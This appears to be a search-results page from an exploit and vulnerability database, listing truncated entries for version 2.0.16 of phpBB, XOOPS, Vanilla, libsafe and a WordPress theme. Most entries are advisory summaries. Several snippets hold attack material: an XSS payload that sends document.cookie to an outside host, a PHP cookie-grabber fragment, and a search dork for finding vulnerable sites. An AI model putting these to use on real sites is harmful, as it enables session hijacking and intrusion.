81 matches found
WordPress Directory Themes Arbitrary Shell Upload Vulnerability
Exploit for php platform in category web applications Exploit Title : Wordpress Theme Directory Arbitrary Shell Upload Vulnerability Exploit Author : xBADGIRL21 Dork : inurl:/wp-content/themes/Directory/ Vendor Homepage : https://templatic.com/ version : 2.0.16 - 2.0.14 & maybe high or lower Test...
phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit
No description provided by source. / 1 Change milw0rm.com to your domain.com 2 Post the below code into a new message. Example Output: ... - - 09/Jul/2005:03:09:13 -0500 GET...
phpBB remote denial of service vulnerability-vulnerability warning-the black bar safety net
phpBB remote denial of service vulnerability Vulnerability version: phpBB phpBB 3.0.8 phpBB phpBB 3.0.7 phpBB phpBB 3.0.6 phpBB phpBB 3.0.5 phpBB phpBB 3.0.4 phpBB phpBB 3.0.3 phpBB phpBB 3.0.2 phpBB phpBB 3.0.1 phpBB phpBB 3.0 phpBB phpBB 2.0.21 phpBB phpBB 2.0.19 phpBB phpBB 2.0.17 phpBB phpBB...
Oracle Linux 5 : OpenIPMI (ELSA-2013-0123)
The remote Oracle Linux 5 host has packages installed that are affected by a vulnerability as referenced in the ELSA-2013-0123 advisory. 2.0.16-16.el5 - ipmitool: fix ipmi command retry shifts replies 863310 2.0.16-15.el5 - ipmitool: added -b, -B, -l and -T options to ipmitool man page 846596 -...
Information disclosure
Vanilla 2.0.16 allows remote attackers to obtain sensitive information via a direct request to a .php file, which reveals the installation path in an error message, as demonstrated by plugins/Minify/min/utils.php and certain other files...
CVE-2011-3812
Vanilla 2.0.16 allows remote attackers to obtain sensitive information via a direct request to a .php file, which reveals the installation path in an error message, as demonstrated by plugins/Minify/min/utils.php and certain other files...
CVE-2011-3812
CVE-2011-3812 affects Vanilla CMS 2.0.16, where a remote attacker can trigger an error message from direct requests to PHP files (notably plugins/Minify/min/utils.php) to reveal the installation path. The documents do not specify a confirmed patch or workaround; remediation details are not provid...
phpbb 2.0.16 跨站脚本漏洞
No description provided by source...
xoops2016-rfi.txt
In the Script Xoops-2.0.16 are Remote File Inclusion Bugs +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Script : xoops-2.0.16-Kararli Discovered By : F10 Contact : [email protected] WebSite : http://by-f10.com Greetz : byemR3 , H0tturk , TaRanTuLa , gsy...
Sql injection bugs in Xoops 2.0.16 + Weblinks module
Hi, These bugs were published in full-disclosure about 2 weeks ago CVE-2007-0377. There is a sql injection bug in Xoops 2.0.16 core and maybe other versions in admin section: The 'id' parameter in "get" function is not checked against sql injections : File kernel/group.php, Line 94 : :: function...
Sql injection
Multiple SQL injection vulnerabilities in Xoops 2.0.16 allow remote attackers to execute arbitrary SQL commands via 1 the id parameter in kernel/group.php in core, 2 the lid parameter in class/tablebroken.php in the Weblinks module, and other unspecified vectors...
phpBB 2.0.16 - Cross-Site Scripting Remote Cookie Disclosure (Cookie Grabber)
phpBB 2.0.16 - Cross-Site Scripting Remote Cookie Disclosure Cookie Grabber // Original Author: 'Sjaak Rake' Ref: http://www.hackthissite.org/articles/read/175/ IP: ' .$ip. ' Date and Time: ' .$date. ' Referer: '.$referer.''; fclose$fp; ? //rename it to cookies.php and create one new file steal.p...
phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit (cookie grabber)
No description provided by source. // Original Author: 'Sjaak Rake' Ref: http://www.hackthissite.org/articles/read/175/ ?php $cookie = $GET'c'; $ip = getenv 'REMOTEADDR'; $date=date"j F, Y, g:i a"; $referer=getenv 'HTTPREFERER'; $fp = fopen'cookies.txt', 'a'; fwrite$fp, 'Cookie: '.$cookie.'br IP:...
php2016.txt
From: "alex" Subject: XSS in nested tag in phpbb 2.0.16 Hi all! Example: color=EFEFEFurlwww.uturl=www.s=''style='font-size:0;color:EFEFEF'styl e='top:expressionevalthis.sss;'sss=i=new//Image;i.src='http://antic hat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=nullstyle='font-size:0;/u rl/url'/colo...
CVE-2005-2161
The CVE-2005-2161 entry covers a cross-site scripting (XSS) vulnerability in phpBB 2.0.16 that allows remote attackers to inject arbitrary script or HTML via nested [url] tags. Connected sources confirm phpBB2 exposure and the Debian security advisory DSA-768-1 (and related Debian/NVD entries) de...
CVE-2005-2161
Cross-site scripting XSS vulnerability in phpBB 2.0.16 allows remote attackers to inject arbitrary web script or HTML via nested url tags...
CVE-2005-2161
Cross-site scripting XSS vulnerability in phpBB 2.0.16 allows remote attackers to inject arbitrary web script or HTML via nested url tags...
phpBB 2.0.16 released
Hi everyone, phpBB Group announces the release of phpBB 2.0.16. This release addresses some bugfixes and one critical security issue. To fix this, please apply the following change: In viewtopic.php Find: $message = strreplace'"', '"', substr@pregreplace'?^+|?Rse', "@pregreplace'b" . strreplace''...
CVE-2005-1125
Race condition in libsafe 2.0.16 and earlier, when running in multi-threaded applications, allows attackers to bypass libsafe protection and exploit other vulnerabilities before the libsafedie function call is completed...
CVE-2005-1125
Race condition in libsafe 2.0.16 and earlier, when running in multi-threaded applications, allows attackers to bypass libsafe protection and exploit other vulnerabilities before the libsafedie function call is completed...